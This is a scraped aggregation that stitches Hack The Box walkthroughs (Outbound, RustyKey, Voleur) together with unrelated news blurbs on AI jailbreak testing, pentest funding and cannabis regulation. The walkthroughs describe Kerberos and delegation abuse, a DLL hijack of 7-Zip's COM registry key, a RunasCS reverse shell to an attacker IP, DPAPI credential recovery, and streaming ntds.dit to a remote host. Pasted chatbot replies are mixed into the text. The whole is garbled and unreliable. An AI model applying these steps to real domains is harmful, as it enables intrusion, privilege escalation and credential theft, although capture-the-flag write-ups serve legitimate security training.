This advisory describes an Incorrect Permission Assignment for a Critical Resource affecting version 0.9.0. Inspecting the /var/log/below directory, we see that its permissions are set to 0777, meaning it is world-writable. This confirms the advisory’s impact, as anyone can create or modify files in this directory.

Mapping the Vulnerability to CVE‑2025‑27591

Further research shows that this vulnerability is tracked as CVE‑2025‑27591, and a PoC is publicly available.

Upload the Python script to the compromised host.

Using the exploit from the following source: BridgerAlderson’s CVE‑2025‑27591 PoC on GitHub.

We can read the root flag simply by running cat root.txt.

The post Hack The Box: Outbound Machine Walkthrough – Easy Difficulity appeared first on Threatninja.net.

A new red-team analysis reveals how leading Chinese open-source AI models stack up on safety, performance, and jailbreak resistance.

The post The Chinese AI Surge: One Model Just Matched (or Beat) Claude and GPT in Safety Tests appeared first on TechRepublic.

A new red-team analysis reveals how leading Chinese open-source AI models stack up on safety, performance, and jailbreak resistance.

The post The Chinese AI Surge: One Model Just Matched (or Beat) Claude and GPT in Safety Tests appeared first on TechRepublic.

Tel Aviv, Israel based Tenzai has developed an AI-driven platform for penetration testing, which it says can continuously identify and address vulnerabilities.

The post Tenzai Raises $75 Million in Seed Funding to Build AI-Powered Pentesting Platform appeared first on SecurityWeek.

Introduction to RustyKey:

In this writeup, we will explore the “RustyKey” machine from Hack The Box, categorized as an Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “RustyKey” machine from Hack The Box by achieving the following objectives:

User Flag:

Authenticated to the domain as bb.morgan (password P@ssw0rd123) after exploiting Kerberos flows and time sync. You obtained a Kerberos TGT (bb.morgan.ccache), exported it via KRB5CCNAME, and used evil‑winrm to open an interactive shell on dc.rustykey.htb.

Root Flag:

Escalation to SYSTEM was achieved by abusing machine and delegation privileges. Using the IT‑COMPUTER3$ machine account you modified AD protections and reset ee.reed’s password, then performed S4U2Self/S4U2Proxy to impersonate backupadmin and saved backupadmin.ccache. With that ticket, you used Impacket to upload and run a service payload and spawned a SYSTEM shell.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV 10.10.11.75 -oA initial

nmap -sC -sV 10.10.11.75 -oA initial

Nmap Output:

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 13:48:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-29 13:48:41Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

Analysis:

• 53/tcp (DNS – Simple DNS Plus): DNS service is running, likely handling domain name resolution for the internal Active Directory environment.
• 88/tcp (Kerberos-sec): Kerberos authentication service for Active Directory domain rustykey.htb0. Useful for ticket-based authentication attacks such as AS-REP roasting or Kerberoasting.
• 135/tcp (MSRPC): Microsoft RPC endpoint mapper. Commonly used for remote management and DCOM-based communication.
• 139/tcp (NetBIOS-SSN): NetBIOS session service — supports SMB over NetBIOS; can reveal shares or host information.
• 389/tcp (LDAP): Lightweight Directory Access Protocol for Active Directory. Likely allows domain information queries; potential for anonymous LDAP enumeration.
• 445/tcp (Microsoft-DS): SMB over TCP for file sharing and remote service operations; often used for lateral movement or enumeration (e.g., SMB shares, users, policies).
• 464/tcp (kpasswd5): Kerberos password change service; might be used for password reset operations.
• 593/tcp (ncacn_http): Microsoft RPC over HTTP — commonly used for Outlook Anywhere and DCOM-based communication.
• 636/tcp (LDAPS): LDAP over SSL/TLS; encrypted directory service communications.
• 3268/tcp (Global Catalog – LDAP): LDAP global catalog port for multi-domain queries in Active Directory.
• 3269/tcp (Global Catalog over SSL): Secure LDAP global catalog service.
  

Server Enumeration:

Before starting, we need to specify the correct Kerberos realm by creating a krb5.conf file in /etc/krb5.conf and adding the following content above

NXC enumeration

The scans show an Active Directory host (dc.rustykey.htb) with SMB and LDAP/kerberos services; SMB on 10.10.11.75 negotiated x64, signing required, and SMBv1 disabled, while an SMB auth attempt for rr.parker returned STATUS_NOT_SUPPORTED — indicating the server rejected the authentication method the client used rather than definitively proving the password is wrong. The LDAP attempt shows KDC_ERR_WRONG_REALM for rustykey.htb\rr.parker, meaning the Kerberos realm in use didn’t match the domain. Likely causes include incorrect credentials, an auth-method mismatch (NTLM vs Kerberos or wrong NTLM dialect), enforced SMB signing, wrong/unspecified Kerberos realm, account restrictions (disabled/locked/password change required), or tool/quoting issues from special characters. Triage by retrying with a domain-qualified username (RUSTYKEY\rr.parker or rr.parker@RUSTYKEY), testing with alternate SMB clients (crackmapexec, smbclient, Impacket), forcing NTLM if needed, validating Kerberos realm and obtaining a TGT, performing LDAP or rpc enumeration to confirm account status, and escaping or simplifying the password to rule out encoding problems.

This time, the error returned is KRB_AP_ERR_SKEW, indicating a time synchronization issue between the client and the server.

Using nxc with Kerberos authentication (-k) and domain rustykey.htb, the SMB service on dc.rustykey.htb was successfully accessed with the credentials rr.parker:8#t5HE8L!W3A. The enumeration revealed an x64 domain controller with SMB signing enabled and SMBv1 disabled. The command listed 11 local users, including Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin, along with their last password set dates and account descriptions. This confirms that rr.parker’s credentials are valid and have sufficient access to query user accounts over SMB. The successful Kerberos-based login also verifies proper realm configuration and time synchronization, allowing secure enumeration of domain users.

Using Kerberos authentication (-k) with the domain rustykey.htb, LDAP enumeration on dc.rustykey.htb successfully authenticated as rr.parker:8#t5HE8L!W3A. The scan enumerated 11 domain users, showing usernames, last password set dates, and account descriptions. Accounts include Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin. This confirms rr.parker’s credentials are valid and have permission to query domain user information over LDAP. The domain controller responded correctly to Kerberos authentication, indicating proper realm configuration and time synchronization.

Impacket successfully requested a TGT from DC 10.10.11.75 for rustykey.htb/rr.parker and saved the Kerberos ticket to rr.parker.ccache.

ChatGPT said:

Set the Kerberos credential cache by exporting KRB5CCNAME=rr.parker.ccache so Kerberos-aware tools use the saved TGT for authentication.

This directs commands like klist, curl –negotiate, and Impacket utilities to the specified ccache.

Bloodhound enumeration

The DNS timeout indicates that the BloodHound collector couldn’t resolve SRV records or reach the domain controller’s DNS. This often happens due to incorrect DNS settings on your Parrot OS machine, firewall restrictions, or reliance on SRV lookups instead of a direct DC IP.

Synchronizing the clock with ntpdate -s 10.10.11.75 resolved the issue. Kerberos authentication requires the client and domain controller clocks to be closely aligned, and a time drift triggers KRB_AP_ERR_SKEW errors. After syncing, the Kerberos TGT became valid, allowing BloodHound to authenticate and enumerate the domain successfully. You can verify the ticket with klist and rerun BloodHound using -k or your ccache. For a persistent solution, consider running a time service like chrony or ntpd, or continue using ntpdate during the engagement.

IT‑COMPUTER3$ added itself to the HelpDesk group.

Execute timeroast.py.

Because the machine requires Kerberos authentication, enumeration attempts return no results. In addition to AS-REP roasting and Kerberoasting, a new technique called timeroast has recently emerged.

The screenshot above shows the hash as clean.

Hashcat was unable to crack the hash.

The main() function sets up and runs the script: it creates an argument parser with two positional inputs (the timeroast hashes file and a password dictionary opened with latin-1 encoding), parses those arguments, then calls try_crack to iterate through dictionary candidates and compare them to the parsed hashes. For each match it prints a “[+] Cracked RID …” line and increments a counter, and when finished it prints a summary of how many passwords were recovered. The if __name__ == '__main__' guard ensures main() runs only when the script is executed directly.

Running python3 timecrack.py timeroast.txt rockyou.txt recovered one credential: RID 1125 — password Rusty88!. Total passwords recovered: 1.

Impacket requested a TGT for the machine account IT-COMPUTER3$ on rustykey.htb and saved the Kerberos ticket to IT-COMPUTER3$.ccache. The Kerberos credential cache was set to IT-COMPUTER3$.ccache by exporting KRB5CCNAME=IT-COMPUTER3\$.ccache, directing Kerberos-aware tools to use this saved TGT for authentication.

Using BloodHound with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, and ran add groupMember HELPDESK IT-COMPUTER3$ — the account IT-COMPUTER3$ was successfully added to the HELPDESK group.

Using BloodyAD with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, ran set password for bb.morgan to P@ssw0rd123, and the password was changed successfully.

Impacket attempted to request a TGT for bb.morgan@rustykey.htb, but the KDC rejected it with KDC_ERR_ETYPE_NOSUPP, meaning the Key Distribution Centre does not support the encryption type used.

If you need that permission, remove the protection first — bb.morgan.

Ran BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ to remove the account IT from the PROTECTED OBJECTS group, and the tool reported that IT was removed. Using BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ I changed bb.morgan’s password to P@ssw0rd123. I then requested a TGT for bb.morgan with impacket-getTGT and saved the ticket to bb.morgan.ccache

Set KRB5CCNAME to bb.morgan.ccache so Kerberos-aware tools use that credential cache.

If evil-winrm failed, common causes are WinRM not reachable, wrong auth method, or account restrictions. First check connectivity and service: nc -vz 10.10.11.75 5985 (and 5986). Test the WinRM endpoint with curl to see auth behavior:
curl --negotiate -u 'bb.morgan:P@ssw0rd123' http://10.10.11.75:5985/wsman
If you’re using Kerberos, ensure KRB5CCNAME points to the bb.morgan ccache and run evil-winrm with Kerberos (use the tool’s Kerberos flag). If password auth, try: evil-winrm -i 10.10.11.75 -u bb.morgan -p 'P@ssw0rd123'. If that still fails, try an alternate Impacket client (wmiexec.py, psexec.py) to rule out evil-winrm-specific issues. Also verify the account isn’t restricted (must-change-password, disabled, or requires smartcard) and that SMB/WinRM signing/policy isn’t blocking the session. Tell me the exact error if you want targeted troubleshooting.

After synchronising the system clock with rdate, evil-winrm successfully established a session to dc.rustykey.htb using the bb.morgan account in the rustykey.htb domain.

To view the user flag, run type user.txt at the command prompt.

Escalate to Root Privileges Access

Privilege Escalation:

One PDF file stood out and drew my attention.

Download the PDF to our machine.

The message appears to be from bb.morgan to support-team@rustykey.htb, stating the support team will receive elevated registry permissions and temporary elevated rights.
Reviewing BloodHound shows ee.reed is a member of the support-team@rustykey.htb group.

Using the IT‑COMPUTER3$ machine account you removed SUPPORT from the Protected Objects container and reset ee.reed’s password to P@ssword123 — actions that demonstrate domain‑level privilege to alter AD protections and control user accounts. With ee.reed’s credentials you can obtain a TGT, export a ccache, and authenticate to domain services (SMB/WinRM/LDAP) to escalate access and pivot further.

This indicates that the SUPPORT group has modify permissions on the registry and can interact with compression and decompression functions.

Requested a TGT for ee.reed@rustykey.htb from DC 10.10.11.75 and saved the Kerberos ticket to ee.reed.ccache.

Evil‑winrm failed to establish a session using ee.reed’s access.

Let’s start the listener.

Upload runascs.exe

Attempt to execute the payload.

Access obtained as ee.reed.

Oddly, the victim machine has 7‑Zip installed.

It’s 7‑Zip version 24.08.

The command reg query "HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers" queries the Windows Registry to list all entries under the ContextMenuHandlers key for all file types (*) in the HKEY_LOCAL_MACHINE\Software\Classes hive.

Query the registry key HKEY_LOCAL_MACHINE\Software\Classes\*\ShellEx\ContextMenuHandlers\7-Zip.

Display the registry key HKLM\SOFTWARE\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}.

Query the registry key HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32.

This PowerShell command retrieves and displays the detailed access permissions (ACL) for the 7-Zip COM object CLSID registry key (HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}), showing which users or groups can read, modify, or take ownership of the key in a clear, list format.

Download the DLL file onto the target machine.

Add or update the default value of HKLM\Software\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}\InprocServer32 to C:\tmp\dark.dll using reg add with the force flag.

Executing rundll32.exe dark.dll, dllmain produces no visible effect.

Obtained a shell as the user mm.turner.

It shows that the SUPPORT group has registry modify permissions and can access compression and decompression functionalities.

Initially, this PowerShell command failed to configure the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property.

This PowerShell command configures the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property, effectively granting that machine account the ability to act on behalf of other accounts for specific services.

Ran Impacket getST for SPN cifs/DC.rustykey.htb while impersonating backupadmin (DC 10.10.11.75) using rustykey.htb/IT-COMPUTER3$:Rusty88!. No existing ccache was found so a TGT was requested, the tool performed S4U2Self and S4U2Proxy flows to impersonate backupadmin, and saved the resulting ticket as backupadmin.ccache. Deprecation warnings about UTC handling were also printed.

Export the Kerberos ticket to a ccache file, then use Impacket’s secretdump to extract the account hashes.

Using the backupadmin Kerberos ticket (no password), Impacket connected to dc.rustykey.htb, discovered a writable ADMIN$ share, uploaded rFPLWAqZ.exe, created and started a service named BqCY, and spawned a shell — whoami returned NT AUTHORITY\SYSTEM.

To view the root flag, run type root.txt at the command prompt.

The post Hack The Box: RustyKey Machine Walkthrough – Hard Difficulity appeared first on Threatninja.net.

Minnesota’s new cannabis testing requirements are so onerous that intoxicating hemp edibles and beverage maker Steven Brown is moving his business to Wisconsin.

Sudden changes threaten to disrupt Minnesota’s hemp THC market is a post from: MJBizDaily: Financial, Legal & Cannabusiness news for cannabis entrepreneurs

Colorado cannabis labs consistently produce unreliable and inconsistent THC potency results, according to results of a new study.

Study: Colorado cannabis labs produce unreliable THC potency results is a post from: MJBizDaily: Financial, Legal & Cannabusiness news for cannabis entrepreneurs

Introduction to Voleur:

In this write-up, we will explore the “Voleur” machine from Hack The Box, categorised as a medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Voleur” machine from Hack The Box by achieving the following objectives:

User Flag:

I found a password-protected Excel file on an SMB share, cracked it to recover service-account credentials, used those credentials to obtain Kerberos access and log into the victim account, and then opened the user’s Desktop to read user.txt.

Root Flag:

I used recovered service privileges to restore a deleted administrator account, extracted that user’s encrypted credential material, decrypted it to obtain higher-privilege credentials, and used those credentials to access the domain controller and read root.txt.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial -Pn 10.10.11.76

nmap -sC -sV -oA initial -Pn 10.10.11.76

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/voleur]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.76
# Nmap 7.94SVN scan initiated Thu Oct 30 09:26:48 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.76
Nmap scan report for 10.10.11.76
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-30 20:59:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2025-10-30T20:59:25
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h32m19s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 30 09:27:43 2025 -- 1 IP address (1 host up) scanned in 55.54 seconds

┌─[dark@parrot]─[~/Documents/htb/voleur]
└──╼ $nmap -sC -sV -oA initial -Pn 10.10.11.76
# Nmap 7.94SVN scan initiated Thu Oct 30 09:26:48 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.76
Nmap scan report for 10.10.11.76
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-30 20:59:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2222/tcp open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
|   256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_  256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time: 
|   date: 2025-10-30T20:59:25
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 7h32m19s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 30 09:27:43 2025 -- 1 IP address (1 host up) scanned in 55.54 seconds

Analysis:

• 53/tcp: DNS (Simple DNS Plus) – domain name resolution
• 88/tcp: Kerberos – Active Directory authentication service
• 135/tcp: MSRPC – Windows RPC endpoint mapper
• 139/tcp: NetBIOS-SSN – legacy file and printer sharing
• 389/tcp: LDAP – Active Directory directory service
• 445/tcp: SMB – file sharing and remote administration
• 464/tcp: kpasswd – Kerberos password change service
• 593/tcp: RPC over HTTP – remote procedure calls over HTTP
• 636/tcp: tcpwrapped – likely LDAPS (secure LDAP)
• 2222/tcp: SSH – OpenSSH on Ubuntu (remote management)
• 3268/tcp: Global Catalog (LDAP GC) – forest-wide directory service
• 3269/tcp: tcpwrapped – likely Global Catalog over LDAPS
  

Machine Enumeration:

impacket-getTGT voleur.htb/ryan.naylor:HollowOct31Nyt (Impacket v0.12.0) — TGT saved to ryan.naylor.ccache; note: significant clock skew with the DC may disrupt Kerberos operations.

impacket-getTGT used ryan.naylor’s credentials to request a Kerberos TGT from the domain KDC and saved it to ryan.naylor.ccache; that ticket lets anyone request service tickets and access AD services (SMB, LDAP, HTTP) as ryan.naylor until it expires or is revoked, so inspect it with KRB5CCNAME=./ryan.naylor.ccache && klist and, if the request was unauthorized, reset the account password and check KDC logs for suspicious AS-REQs.

Setting KRB5CCNAME=ryan.naylor.ccache tells the Kerberos libraries to use that credential cache file for authentication so Kerberos-aware tools (klist, smbclient -k, ldapsearch -Y GSSAPI, Impacket tools with -k) will present the saved TGT; after exporting, run klist to view the ticket timestamps and then use the desired Kerberos-capable client (or unset the variable when done).

nxc ldap connected to the domain controller’s LDAP (DC.voleur.htb:389) using Kerberos (-k), discovered AD info (x64 DC, domain voleur.htb, signing enabled, SMBv1 disabled) and successfully authenticated as voleur.htb\ryan.naylor with the supplied credentials, confirming those credentials are valid for LDAP access.

nxc smb connected to the domain controller on TCP 445 using Kerberos (-k), enumerated the host as dc.voleur.htb (x64) with SMB signing enabled and SMBv1 disabled, and successfully authenticated as voleur.htb\ryan.naylor with the supplied credentials, confirming SMB access to the DC which can be used to list or mount shares, upload/download files, or perform further AD discovery while the account’s privileges allow.

Bloodhound enumeration

Runs bloodhound-python to authenticate to the voleur.htb domain as ryan.naylor (using the provided password and Kerberos via -k), query the specified DNS server (10.10.11.76) and collect all AD data (-c All) across the domain (-d voleur.htb), then package the resulting JSON data into a zip file (–zip) ready for import into BloodHound for graph-based AD attack path analysis; this gathers users, groups, computers, sessions, ACLs, trusts, and other relationships that are sensitive — only run with authorization.

ryan.naylor is a member of Domain Users and First-line Technicians — Domain Users is the default domain account group with standard user privileges, while First-line Technicians is a delegated helpdesk/tech group that typically has elevated rights like resetting passwords, unlocking accounts, and limited workstation or AD object management; combined, these memberships let the account perform routine IT tasks and makes it a useful foothold for lateral movement or privilege escalation if abused, so treat it as sensitive and monitor or restrict as needed.

SMB enumeration

Connected to dc.voleur.htb over SMB using Kerberos authentication; authenticated as voleur.htb\ryan.naylor and enumerated shares: ADMIN$, C$, Finance, HR, IPC$ (READ), IT (READ), NETLOGON (READ), and SYSVOL (READ), with SMB signing enabled and NTLM disabled.

If impacket-smbclient -k dc.voleur.htb failed, target a specific share and provide credentials or use your Kerberos cache. For example, connect with Kerberos and no password to a known share: impacket-smbclient -k -no-pass //dc.voleur.htb/Finance after exporting KRB5CCNAME=./ryan.naylor.ccache, or authenticate directly with username and password: impacket-smbclient //dc.voleur.htb/Finance -u ryan.naylor -p HollowOct31Nyt; specifying the share usually succeeds when the root endpoint refuses connections.

Shares need to be selected from the enumerated list before accessing them.

The SMB session showed available shares (including hidden admin shares ADMIN$ and C$, domain shares NETLOGON and SYSVOL, and user shares like Finance, HR, IT); the command use IT switched into the IT share and ls will list that share’s files and directories — output depends on ryan.naylor’s permissions and may be empty or restricted if the account lacks write/list rights.

Directory listing shows a folder named First-Line Support — change into it with cd First-Line Support and run ls to view its contents.

Inside the First-Line Support folder, there is a single file named Access_Review.xlsx with a size of 16,896 bytes, along with the standard . and .. directories.

Retrieve or save the Access_Review.xlsx file from the share to the local system.

Saved the file locally on your machine.

The file Access_Review.xlsx is encrypted using CDFv2.

The file is password-protected and cannot be opened without the correct password.

Extracted the password hash from Access_Review.xlsx using office2john and saved it to a file named hash.

The output is the extracted Office 2013 password hash from Access_Review.xlsx in hashcat/John format, showing encryption type, iteration count, salt, and encrypted data, which can be used for offline password cracking attempts.

Hashcat could not identify any supported hash mode that matches the format of the provided hash.

CrackStation failed to find a viable cracking path.

After researching the hash, it’s confirmed as Office 2013 / CDFv2 (PBKDF2‑HMAC‑SHA1 with 100,000 iterations) and maps to hashcat mode 9600; use hashcat -m 9600 with targeted wordlists, masks, or rules (GPU recommended) but expect slow hashing due to the high iteration count — if hashcat rejects the format, update to the latest hashcat build or try John’s office2john/output path; only attempt cracking with proper authorization.

I found this guide on Medium that explains how to extract and crack the Office 2013 hash we retrieved

After performing a password enumeration, the credential football1 was identified, potentially belonging to the svc account. It is noteworthy that the Todd user had been deleted, yet its password remnants were still recoverable.

The Access_Review.xlsx file contained plaintext credentials for two service accounts: svc_ldap — M1XyC9pW7qT5Vn and svc_iis — N5pXyV1WqM7CZ8. These appear to be service-account passwords that could grant LDAP and IIS access; treat them as sensitive, rotate/reset the accounts immediately, and audit where and how the credentials were stored and used.

svc_ldap has GenericWrite over the Lacey user objects and WriteSPN on svc_winrm; next step is to request a service ticket for svc_winrm.

impacket-getTGT used svc_ldap’s credentials to perform a Kerberos AS-REQ to the domain KDC, received a valid TGT, and saved it to svc_ldap.ccache; that TGT can be used to request service tickets (TGS) and access domain services as svc_ldap until it expires or is revoked, so treat the ccache as a live credential and rotate/reset the account or investigate KDC logs if the activity is unauthorized.

Set the Kerberos credential cache to svc_ldap.ccache so that Kerberos-aware tools will use svc_ldap’s TGT for authentication.

Attempt to bypass the disabled account failed: no krbtgt entries were found, indicating an issue with the LDAP account used.

Run bloodyAD against voleur.htb as svc_ldap (Kerberos) targeting dc.voleur.htb to set the svc_winrm object’s servicePrincipalName to HTTP/fake.voleur.htb.

The hashes were successfully retrieved as shown previously.

Cracking failed when hashcat hit a segmentation fault.

Using John the Ripper, the Office hash was cracked and the password AFireInsidedeOzarctica980219afi was recovered — treat it as a live credential and use it only with authorization (e.g., to open the file or authenticate as the associated account).

Authenticate with kinit using the cracked password, then run evil-winrm to access the target.

To retrieve the user flag, run type user.txt in the compromised session.

Another way to retrieve user flag

Request a TGS for the svc_winrm service principal.

Use evil-winrm the same way as before to connect and proceed.

Alternatively, display the user flag with type C:\Users\<username>\Desktop\user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

Enumerated C:\ and found an IT folder that warrants closer inspection.

The IT folder contains three directories — each checked next for sensitive files.

No relevant files or artifacts discovered so far.

The directories cannot be opened with the current permissions.

Runs bloodyAD against dc.voleur.htb as svc_ldap (authenticating with the given password and Kerberos) to enumerate all Active Directory objects that svc_ldap can write to; the get writable command lists objects with writable ACLs (e.g., GenericWrite, WriteSPN) and –include-del also returns deleted-object entries, revealing targets you can modify or abuse for privilege escalation (resetting attributes, writing SPNs, planting creds, etc.).

From the list of writable AD objects, locate the object corresponding to Todd Wolfe.

Located the object; proceed to restore it by assigning sAMAccountName todd.wolfe.

Runs bloodyAD against dc.voleur.htb as svc_ldap (Kerberos) to restore the deleted AD object todd.wolfe on the domain — this attempts to undelete the tombstoned account and reinstate its sAMAccountName; success depends on svc_ldap having sufficient rights and the object still being restorable.

The restoration was successful, so the next step is to verify whether the original password still works.

After evaluating options, launch runascs.exe to move forward with the attack path.

Execute RunasCS.exe to run powershell as svc_ldap using password M1XyC9pW7qT5Vn and connect back to 10.10.14.189:9007.

Established a reverse shell session from the callback.

Successfully escalated to and accessed the system as todd.wolfe.

Ultimately, all previously restricted directories are now visible.

You navigated into the IT share (Second-Line Support → Archived Users → todd.wolfe) and downloaded two DPAPI-related artefacts: the Protect blob at AppData\Roaming\Microsoft\Protect<SID>\08949382-134f-4c63-b93c-ce52efc0aa88 and the credential file at AppData\Roaming\Microsoft\Credentials\772275FAD58525253490A9B0039791D3; these are DPAPI master-key/credential blobs that can be used to recover saved secrets for todd.wolfe, when combined with the appropriate user or system keys, should be them as highly sensitive.

DPAPI Recovery and Abuse: How Encrypted Blobs Lead to Root

Using impacket-dpapi with todd.wolfe’s masterkey file and password (NightT1meP1dg3on14), the DPAPI master key was successfully decrypted; the output shows the master key GUID, lengths, and flags, with the decrypted key displayed in hex, which can now be used to unlock the user’s protected credentials and recover saved secrets from Windows.

The credential blob was decrypted successfully: it’s an enterprise-persisted domain password entry last written on 2025-01-29 12:55:19 for target Jezzas_Account with username jeremy.combs and password qT3V9pLXyN7W4m; the flags indicate it requires confirmation and supports wildcard matching. This is a live domain credential that can be used to authenticate to AD services or for lateral movement, so handle it as sensitive and test access only with authorization.

impacket-getTGT used jeremy.combs’s credentials to request a Kerberos TGT from the domain KDC and saved it to jeremy.combs.ccache; that TGT can be used to request service tickets (TGS) and authenticate to AD services (SMB, LDAP, WinRM, etc.) as jeremy.combs until it expires or is revoked, so inspect it with KRB5CCNAME=./jeremy.combs.ccache && klist and treat the cache as a live credential — rotate/reset the account or review KDC logs if the activity is unauthorized.

Set the Kerberos credential cache to jeremy.combs.ccache so Kerberos-aware tools will use jeremy.combs’s TGT for authentication.

Run bloodhound-python as jeremy.combs (password qT3V9pLXyN7W4m) using Kerberos and DNS server 10.10.11.76 to collect all AD data for voleur.htb and save the output as a zip for BloodHound import.

Account jeremy.combs is in the Third-Line Technicians group.

Connected to dc.voleur.htb with impacket-smbclient (Kerberos), switched into the IT share and listed contents — the directory Third-Line Support is present.

Downloaded two files from the share: the private SSH key id_rsa and the text file Note.txt.txt — treat id_rsa as a sensitive private key (check for a passphrase) and review Note.txt.txt for useful creds or instructions.

The note indicates that the administrator was dissatisfied with Windows Backup and has started configuring Windows Subsystem for Linux (WSL) to experiment with Linux-based backup tools. They are asking Jeremy to review the setup and implement or configure any viable backup solutions using the Linux environment. Essentially, it’s guidance to transition or supplement backup tasks from native Windows tools to Linux-based tools via WSL.

The key belongs to the svc_backup user, and based on the earlier port scan, port 2222 is open, which can be used to attempt a connection.

The only difference in this case is the presence of the backups directory.

There are two directories present: Active Directory and Registry.

Stream the raw contents of the ntds.dit file to a remote host by writing it out over a TCP connection.

The ntds.dit file was transferred to the remote host.

Stream the raw contents of the SYSTEM file to a remote host by writing it out over a TCP connection.

